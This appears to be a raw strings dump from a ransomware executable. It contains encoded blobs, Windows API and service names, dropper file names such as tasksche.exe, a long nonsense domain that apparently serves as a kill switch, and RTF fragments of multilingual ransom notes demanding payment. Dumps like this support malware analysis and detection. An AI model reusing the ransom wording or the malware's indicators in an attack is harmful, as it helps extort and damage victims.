sKlnEmxmYyW/B+f07u7vY4hxNJGm3Gu9hyrHlARgp+RFNrPY3+FH2SrjBorHTmAHH5uBWqLB+vs62FVUsksvz7nNEhN5gTNwDhtJMPBi/gDwjDFjoJMQl2Fuo+rpMLohcq9EXR8VRmC2Dk3EG/6asJPMHw6PA5YQnQwjBcXN8NnWLXF21U1o19hvT2aqVK3O2GTAHGw2GlHOx4Huqs5wJormMLMnQL4KZVFFQw8JQgtzE7FGc6H1s559iWxl4QpGdXG8IvKuG2XCWhypS5/EDGfvobW88NxRgKNgxzJvPxgGqXuAHC1Nx5odryWBo8HfgVu7MS6v+XOG3PK9hEpgUvQwP3FmHMfnH99sM4XkA2gK+N3ioik86apZfP65d4mhiE1RYpAbAgQWcuz594bVvlLNKomTkvVejIAWcy/JWuiVU5jP8PE9hQJPfcOGBQD+DoA9VFs0kUvH90JFx4Q4SfuX/+rEyifA5VENTsXGS0XgLl6HVg0EU3sa5NN2hd5Ev8voAaRllTHgk775Kp5IUoyXs/jzMrw8vHfDMoZ8XjJFkBnoF0T6PgUTBLIL9JDfUwjM7zSMl0bIHTM/hiZ2badmPTCNIUCLthvcx5PlHTRiqyMZC5QWWfpH+xX556YxBXo5Sx2AquOpFDRMILhGzY5LNvzoJAstoFN7MjKsUyVBxUf9jb24jcLDZccxhQ65FkY/lpPmnhnf3UHIwUNXLXXdEYJMmhmxUytnnTUr8JW+AIuIF28OZCI80ojt2HTgtI6sAmpu4ch2cXmxtdo95NmSwWfYQSz3g/mEtmhfBh+vFHH6ldMXbGJ6kifw5GuvZG5Fu8ymx7LCpV5pKNmf79o2vqKDMukS/3dgrlDNQm9urRgI/1JcZvNv+aZOxPyWT1gAkWGk7sGIm+5xHr/U3zduC8XzrQ7vtjOZLIQ/HOvJcTNSRKuHQBIxFVkahu4TZ2efVXgnl1MgrsPn6kmBEoGOXx/kXXCD0n2wzLdKuFj00MhJ+LyFngnTuVO0fDH sKlnEmxmYyW/B+f07u7vY4hxNJGm3Gu9hyrHlARgp+RFNrPY3+FH2SrjBorHTmAHH5uBWqLB+vs62FVUsksvz7nNEhN5gTNwDhtJMPBi/gDwjDFjoJMQl2Fuo+rpMLohcq9EXR8VRmC2Dk3EG/6asJPMHw6PA5YQnQwjBcXN8NnWLXF21U1o19hvT2aqVK3O2GTAHGw2GlHOx4Huqs5wJormMLMnQL4KZVFFQw8JQgtzE7FGc6H1s559iWxl4QpGdXG8IvKuG2XCWhypS5/EDGfvobW88NxRgKNgxzJvPxgGqXuAHC1Nx5odryWBo8HfgVu7MS6v+XOG3PK9hEpgUvQwP3FmHMfnH99sM4XkA2gK+N3ioik86apZfP65d4mhiE1RYpAbAgQWcuz594bVvlLNKomTkvVejIAWcy/JWuiVU5jP8PE9hQJPfcOGBQD+DoA9VFs0kUvH90JFx4Q4SfuX/+rEyifA5VENTsXGS0XgLl6HVg0EU3sa5NN2hd5Ev8voAaRllTHgk775Kp5IUoyXs/jzMrw8vHfDMoZ8XjJFkBnoF0T6PgUTBLIL9JDfUwjM7zSMl0bIHTM/hiZ2badmPTCNIUCLthvcx5PlHTRiqyMZC5QWWfpH+xX556YxBXo5Sx2AquOpFDRMILhGzY5LNvzoJAstoFN7MjKsUyVBxUf9jb24jcLDZccxhQ65FkY/lpPmnhnf3UHIwUNXLXXdEYJMmhmxUytnnTUr8JW+AIuIF28OZCI80ojt2HTgtI6sAmpu4ch2cXmxtdo95NmSwWfYQSz3g/mEtmhfBh+vFHH6ldMXbGJ6kifw5GuvZG5Fu8ymx7LCpV5pKNmf79o2vqKDMukS/3dgrlDNQm9urRgI/1JcZvNv+aZOxPyWT1gAkWGk7sGIm+5xHr/U3zduC8XzrQ7vtjOZLIQ/HOvJcTNSRKuHQBIxFVkahu4TZ2efVXgnl1MgrsPn6kmBEoGOXx/kXXCD0n2wzLdKuFj00MhJ+LyFngnTuVO0fDHW SqmHttpStreamRandomUploadPoolSize SQMServiceList StartServiceA StartServiceCtrlDispatcherA StoresServiceClassInfo stream error StringFileInfo SupportedNameSpace t th\\'ea\\loch\\f31502 \\hich\\f31502 m th\\'f4\\loch\\f31502 \\hich\\f31502 ng tin, h\\'e3\\loch\\f31502 y nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 T4SmzfidGCQHPD6qoQ41LMIIyKFqGsWQuDEw4x/9j8jbUm+8ebrYp2a8XGY1h3pcYKAJ7f3a9sPB+JClqIxuvgqhAdCRCP8EPv5BUf/J/+cAGOjPGH9gXCt7FLR2dzRKeifi7JYxE7oc59F/F8Ae1JRmtpHs6f51IDyVpfsjE1SawOQqp9nIHYATMvweswNcT2KqpIFv9fXpa73tIHjk79D2iLhTA2H1QQ+M7efNNSo8jBT0FT6QlAeR0QHpgw05kMwn+piSxVO9IQZq8EQcNMLJXYw6oQqUIb/GBhyihI0vXCC7N61F4/m7fLGIAtSC9ubh3Cz82cIdoS7QPlQkUXVTqsrlM2wUofC3lB3vn8dLi7BNhHu5o3coXmV taskdl.exe tasksche.exe taskse.exe ted multithread lock error TerminateProcess ThemeApiConnectionRequest tivirus durante un tiempo, hasta que pague y se procese el pago. Si su antivirus se actualiza y elimina este software autom\\'e1\\loch\\f31502 \\hich\\f31502 ticamente, \\'a1\\loch\\f31502 \\hich\\f31502 no podr\\'e1\\loch\\f31502 recuperar sus archivos aunque pague! TLOSS error tMuXPnM2lOhFzai4FY2YFzQVT2ria1Uza4FKWrOniTXcWRUWKMyhmglP4S1yOtRjD9LEPTOhOeF85DFOtJPRVbIPl8QOjm2IE1rwQt4AbVR2o6YK5pUGXNLCZxXroI8l+mQX3gudA56Bcb/I7hfyeWZy5zaWa5BRrI1Ss+7D3v9knvDj8unV3n9SFY4n/tSxMhRPAF5WlNnTyXmwiWu37r8oWJHCv737uO8horQjTprukSyUEhfRPTnFAkNas3f2Dkf4scXeay8Xl0m5BBeCF2Uum25+98WKvjt988Fllxah/9ENvZyO0XLAJ2RFRcdZhEsXvJP+6RvXTR+zTStn+833TmvQZogXeY5NK9mXw8epopDiwcnR1b0KYlW tpGFEoLOU6+5I78Toh/nHs/RAP9hEBCUwomRSGo1vCW56cdv5jmzDewU9q/N3PW6jOcOEZ4dhezt7ITi/4qY0YNQ08Qf1F9RI+GZ8kI0J3zmHQxLBfQiqokzHPAElkYH/CT6t9y3/M3KUqbdlcBo1aHkieZ1CaGz42D/4WCDVZ Transports TSAppCompat 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 unexpected heap error unknown compression method urvallisesti ja helposti. Mutta sinulla ei ole tarpeeksi aikaa. UseCompartments UseNewRegistration VarFileInfo Version vgLv/4CGSWX5CdAY5bVOmiK3URqJGG6MCpTC5MBP8V6IrNOldfEQVMiQQBV0YOvd9UJG/o2DBKOdevpotJOuju2dkTBfStGf0T9V2v763rEQ2Fr8OVR7cGy9e26kP6k1WZJ3F4nBoZc3Oyzavsxmq1paVdYOaRvd0zdjXBCkXrw0oR2vL6QapaV0X7+OBw/jxeTZaj0+joCVdFY5a7G3sJGbn43UA2bwLMyAJSw/LvYI1T7LYM30eQPcikfYEIz63QNgc9c3JX5OEh8sCWMAJlduF/JTWsj4fTSH/aJQDkv0ZJr8cgFe+62RiZI0whnXF1AhBkdoOGbaxwA8BeHxaDX296Z0Tqg8BZXLyw1jS7ZhANKqYFjG/XIT1/p VS_VERSION_INFO WaitForNameErrorOnAll WarnAlwaysOnPost WarnOnHTTPSToHTTPRedirect WarnOnPost WarnOnPostRedirect Windows 7 --> Windows 8 --> PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING WinSock 2.0 Provider ID WinSock_Registry_Version WpadSearchAllDomains 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 wszystkie pliki bezpiecznie i \\'b3\\loch\\f31528 atwo}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 . Ale nie masz tyle czasu. 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 www)iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com XA_A^A]A\\^_][ xA_A^A]A\\A[AZAYAX]_^ZY[XeH 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 XX^_]ZY[A\\A]A^A_H y, b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n s}{ y8i2fYBTyuBcNxWcntZeisRTik0VUSXxnI8cPKI/kXIfXJXZl7lMCe7CRSKXpamF6gnW9nYF0/bY0jDrGDOMfMlfX9gxNcRK0bNfKb/+lMKIDEgt+PTp5QuDk1crSIEZQCwIij4GAM2D3Wt0diQxBm8SdXuxluqn32euSzCZlABwd48c2DJ+8iX9UoKhenzfMi+jyxari0QtHjeYzgKy5V0oR/L730E+mhs2q36TUdaIz/W/0O3FgJKWr4yX2Pad2WinP7NSTRihMFI3Tc6a7yiG8Xipea6/rb4xKDuFdzSlt2qxO1gOq8zKrNprnQ38zGhAPDC6GZ+M0XvrnuVyyQO6sfzu+cUYuYECAzJt1URLiEny+XBa6xWTqM0 ZGmd8BcCP4ShszR87mgTzOdh0qSksI4y3u2Xx3L/ypVGHNy8TCXgGPj+6R7gmNn3qOvG8VWjn0QzWNsu5MGunuzfTGJiKDQVA/d5jv+xi7TnyDpRlLSH2QUFiWjaV0skdp7fKlkoRJDqmG0O43unAias94QwH6q9Rshjiz7AGc4M1qgb0wG5m9w5KosxeZ9QlYSwTd+SuyCdZXyZDTNOeN+1ZL4/AFWTiJUuxfICBo268E3uQOW74T3zcjowxGFiP0u68jRXasOJEBLSEnp5ToPPjwp/SLcRoIVWTwk6/6h62ut9SoO8NMztL4fmasIWbzdM+WSPswqQjkbQl1CYQLGXGnDevjRcEIzq1vq1nFK/IJu4yCYIQcfLwcc 